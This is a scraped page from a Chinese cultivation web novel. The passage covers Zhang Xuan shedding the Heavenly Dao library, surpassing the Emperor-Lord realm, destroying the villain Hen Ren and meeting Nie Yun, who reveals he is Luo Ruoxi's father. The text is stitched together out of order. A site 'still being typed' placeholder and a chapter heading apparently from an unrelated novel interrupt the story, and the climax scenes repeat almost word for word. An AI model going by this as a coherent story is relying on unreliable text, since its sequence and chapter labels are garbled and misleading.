云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百七十章 若是裴首辅也被骗了怎么办 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 